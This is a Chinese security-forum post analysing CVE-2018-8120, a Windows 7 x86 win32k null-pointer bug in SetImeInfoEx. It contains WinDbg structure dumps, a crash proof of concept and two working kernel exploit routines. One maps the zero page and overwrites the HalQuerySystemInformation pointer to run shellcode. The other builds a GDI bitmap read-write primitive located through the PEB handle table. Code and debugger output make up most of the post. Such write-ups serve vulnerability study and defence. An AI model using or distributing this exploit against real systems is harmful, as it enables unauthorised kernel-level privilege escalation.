本文为看雪论坛精华文章
看雪论坛作者ID:1900
一
简介
操作系统:Win7 x86 sp1 专业版
编译器:Visual Studio 2017
调试器:IDA Pro,WinDbg
二
漏洞分析
2: kd> dt win32k!tagWINDOWSTATION
+0x000 dwSessionId : Uint4B
+0x004 rpwinstaNext : Ptr32 tagWINDOWSTATION
+0x008 rpdeskList : Ptr32 tagDESKTOP
+0x00c pTerm : Ptr32 tagTERMINAL
+0x010 dwWSF_Flags : Uint4B
+0x014 spklList : Ptr32 tagKL
+0x018 ptiClipLock : Ptr32 tagTHREADINFO
+0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
+0x020 spwndClipOpen : Ptr32 tagWND
+0x024 spwndClipViewer : Ptr32 tagWND
+0x028 spwndClipOwner : Ptr32 tagWND
+0x02c pClipBase : Ptr32 tagCLIP
+0x030 cNumClipFormats : Uint4B
+0x034 iClipSerialNumber : Uint4B
+0x038 iClipSequenceNumber : Uint4B
+0x03c spwndClipboardListener : Ptr32 tagWND
+0x040 pGlobalAtomTable : Ptr32 Void
+0x044 luidEndSession : _LUID
+0x04c luidUser : _LUID
+0x054 psidUser : Ptr32 Void
2: kd> dt win32k!tagKL
+0x000 head : _HEAD
+0x008 pklNext : Ptr32 tagKL
+0x00c pklPrev : Ptr32 tagKL
+0x010 dwKL_Flags : Uint4B
+0x014 hkl : Ptr32 HKL__
+0x018 spkf : Ptr32 tagKBDFILE
+0x01c spkfPrimary : Ptr32 tagKBDFILE
+0x020 dwFontSigs : Uint4B
+0x024 iBaseCharset : Uint4B
+0x028 CodePage : Uint2B
+0x02a wchDiacritic : Wchar
+0x02c piiex : Ptr32 tagIMEINFOEX
+0x030 uNumTbl : Uint4B
+0x034 pspkfExtra : Ptr32 Ptr32 tagKBDFILE
+0x038 dwLastKbdType : Uint4B
+0x03c dwLastKbdSubType : Uint4B
+0x040 dwKLID : Uint4B
HWINSTA WINAPI CreateWindowStation(
__in_opt LPCTSTR lpwinsta,
DWORD dwFlags,
__in ACCESS_MASK dwDesiredAccess,
__in_opt LPSECURITY_ATTRIBUTES lpsa);
BOOL WINAPI SetProcessWindowStation(
__in HWINSTA hWinSta);
BOOL __declspec(naked) CallNtUserSetImeInfoEx(PVOID arg0)
{
__asm
{
mov esi, arg0
mov eax, 0x1226 // NtUserSetImeInfoEx的调用号
mov edx, 0x7FFE0300
call dword ptr[edx]
ret 4
}
}
BOOL POC_CVE_2018_8120()
{
BOOL bRet = TRUE;
HWINSTA hSta = NULL;
// 创建tagWINDOWSTATION结构体
hSta = CreateWindowStation(NULL, 0, READ_CONTROL, NULL);
if (hSta == NULL)
{
ShowError("CreateWindowStation", GetLastError());
bRet = FALSE;
goto exit;
}
// 将创建的结构体设置到本进程中
if (!SetProcessWindowStation(hSta))
{
ShowError("SetProcessWindowStation", GetLastError());
bRet = FALSE;
goto exit;
}
char szBuf[0x15C] = { 0 };
CallNtUserSetImeInfoEx((PVOID)szBuf);
exit:
return bRet;
}
nt!RtlpBreakWithStatusInstruction:
83e95110 cc int 3
kd> g
KDTARGET: Refreshing KD connection
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
969a007c 395014 cmp dword ptr [eax+14h],edx
3: kd> r eax
eax=00000000
3: kd> k
ChildEBP RetAddr
92085a90 969a003d win32k!SetImeInfoEx+0x17
92085c28 83e581ea win32k!NtUserSetImeInfoEx+0x65
92085c28 772870b4 nt!KiFastCallEntry+0x12a
0012fd98 0040105f ntdll!KiFastSystemCallRet
三
漏洞利用
1、利用原理
BOOL Trigger_CVE_2018_8120()
{
BOOL bRet = TRUE;
// 0地址分配内存
if (!AllocateZeroMemory())
{
bRet = FALSE;
goto exit;
}
// 获取保存HalQuerySystemInformation函数地址的地址
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
if (!pHalQuerySystemInformation)
{
bRet = FALSE;
goto exit;
}
// 指定被写入的地址
*(PDWORD)(0x2C) = (DWORD)pHalQuerySystemInformation;
// 绕过while循环的验证
*(PDWORD)(0x14) = (DWORD)ShellCode_CVE_2018_8120;
char szBuf[0x15C] = { 0 };
// 指定要写入的内容是ShellCode的地址
*(PDWORD)szBuf = (DWORD)ShellCode_CVE_2018_8120;
// 触发漏洞
if (!CallNtUserSetImeInfoEx(szBuf))
{
ShowError("CallNtUserSetImeInfoEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 调用NtQueryIntervalProfile
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}
exit:
return bRet;
}
3: kd> p
win32k!SetImeInfoEx+0x17:
96ac007c 395014 cmp dword ptr [eax+14h],edx
3: kd> r eax
eax=00000000
3: kd> p
win32k!SetImeInfoEx+0x1a:
96ac007f 740e je win32k!SetImeInfoEx+0x2a (96ac008f)
3: kd> p
win32k!SetImeInfoEx+0x2a:
96ac008f 8b402c mov eax,dword ptr [eax+2Ch]
3: kd> p
win32k!SetImeInfoEx+0x2d:
96ac0092 85c0 test eax,eax
3: kd> r eax
eax=83f6f3fc
3: kd> p
win32k!SetImeInfoEx+0x2f:
96ac0094 74f2 je win32k!SetImeInfoEx+0x23 (96ac0088)
HRESULT CreateBitmap(UINT uiWidth,
UINT uiHeight,
REFWICPixelFormatGUID pixelFormat,
WICBitmapCreateCacheOption option,
IWICBitmap **ppIBitmap);
3: kd> dt _PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
...
+0x090 ProcessHeaps : Ptr32 Ptr32 Void
+0x094 GdiSharedHandleTable : Ptr32 Void
+0x098 ProcessStarterHelper : Ptr32 Void
....
typedef struct _GDICELL{
LPVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
LPVOID pUserAddress;
} GDICELL;
typedef struct _SURFACE
{
BASEOBJECT BaseObject;
SURFOBJ SurfObj;
//XDCOBJ * pdcoAA;
FLONG flags;
struct _PALETTE * const ppal; // Use SURFACE_vSetPalette to assign a palette
struct _EWNDOBJ *pWinObj;
union
{
HANDLE hSecureUMPD; // if UMPD_SURFACE set
HANDLE hMirrorParent;// if MIRROR_SURFACE set
HANDLE hDDSurface; // if DIRECTDRAW_SURFACE set
};
SIZEL sizlDim; /* For SetBitmapDimension(), do NOT use
to get width/height of bitmap, use
bitmap.bmWidth/bitmap.bmHeight for
that */
HDC hdc; // Doc in "Undocumented Windows", page 546, seems to be supported with XP.
ULONG cRef;
HPALETTE hpalHint;
/* For device-independent bitmaps: */
HANDLE hDIBSection;
HANDLE hSecure;
DWORD dwOffset;
//UINT unk_078;
/* reactos specific */
DWORD biClrImportant;
} SURFACE, *PSURFACE;
typedef struct _BASEOBJECT {
HANDLE hHmgr; 0x04
PVOID pEntry; 0x08
LONG cExclusiveLock; 0x0d
PW32THREAD Tid;0x10
}BASEOBJECT, *POBJ;
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
这种方式之所以能完成,也是因为此时mpv所指向的地址偏移0x48处的内容为0,另外,因此复制的时候会复制0x15C个字节,所以mpv后面的内容要保证不被修改,就需要在复制的源地址处进行正确的赋值。
BOOL Trigger_CVE_2018_8120()
{
BOOL bRet = TRUE;
HBITMAP hManger = NULL, hWorker = NULL;
DWORD dwBuf[0x60] = { 0x90 };
PVOID mpv = NULL, wpv = NULL;
PVOID pOrgAddr = NULL;
PVOID pTargetAddr = (PVOID)ShellCode_CVE_2018_8120;
// 0地址分配内存
if (!AllocateZeroMemory())
{
bRet = FALSE;
goto exit;
}
hManger = CreateBitmap(0x60, 1, 1, 32, dwBuf);
hWorker = CreateBitmap(0x60, 1, 1, 32, dwBuf);
if (!hManger || !hWorker)
{
ShowError("CreateBitmap", GetLastError());
bRet = FALSE;
goto exit;
}
mpv = GetPvScan(hManger);
wpv = GetPvScan(hWorker);
// 指定被写入的地址
*(PDWORD)(0x2C) = (DWORD)mpv;
// 绕过while循环的验证
*(PDWORD)(0x14) = (DWORD)wpv;
DWORD szBuf[0x15C / sizeof(DWORD)] = { 0 };
// 指定要写入的内容
szBuf[0] = (DWORD)wpv;
szBuf[1] = 0x180;
szBuf[2] = 0x1D95;
szBuf[3] = 6;
szBuf[4] = 0x10000;
szBuf[5] = 0x0;
szBuf[6] = 0x4800200;
// 触发漏洞
if (!CallNtUserSetImeInfoEx(szBuf))
{
ShowError("CallNtUserSetImeInfoEx", GetLastError());
bRet = FALSE;
goto exit;
}
// 获取保存HalQuerySystemInformation函数地址的地址
PVOID pHalQuerySystemInformation = GetHalQuerySystemInformation();
if (!pHalQuerySystemInformation)
{
bRet = FALSE;
goto exit;
}
// 设置hManger的可修改地址为保存HalQuerySystemInformation函数地址的地址
SetBitmapBits(hManger, sizeof(PVOID), &pHalQuerySystemInformation);
// 获取可修改的地址中的内容
GetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);
// 将可修改地址中的值修改为ShellCode地址
SetBitmapBits(hWorker, sizeof(PVOID), &pTargetAddr);
// 调用NtQueryIntervalProfile,执行ShellCode
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}
// 将可修改地址中的内容恢复回去
SetBitmapBits(hWorker, sizeof(PVOID), &pOrgAddr);
exit:
return bRet;
}
PVOID GetPvScan(HBITMAP hBitHandle)
{
DWORD dwGdiCellArray = GetGdiCellArray();
PGDICELL pGdiCell = (PGDICELL)(dwGdiCellArray + LOWORD(hBitHandle) * sizeof(GDICELL));
return (PVOID)((DWORD)pGdiCell->pKernelAddress + 0x30);
}
DWORD GetGdiCellArray()
{
__asm
{
mov eax, fs:[0x30] // eax = PEB
mov eax, [eax + 0x94] // eax = GDICELL数组首地址
}
}
四
运行结果
https://www.freebuf.com/vuls/174182.html
https://www.anquanke.com/post/id/241057
https://www.anquanke.com/post/id/247764
学习更多技术,关注我: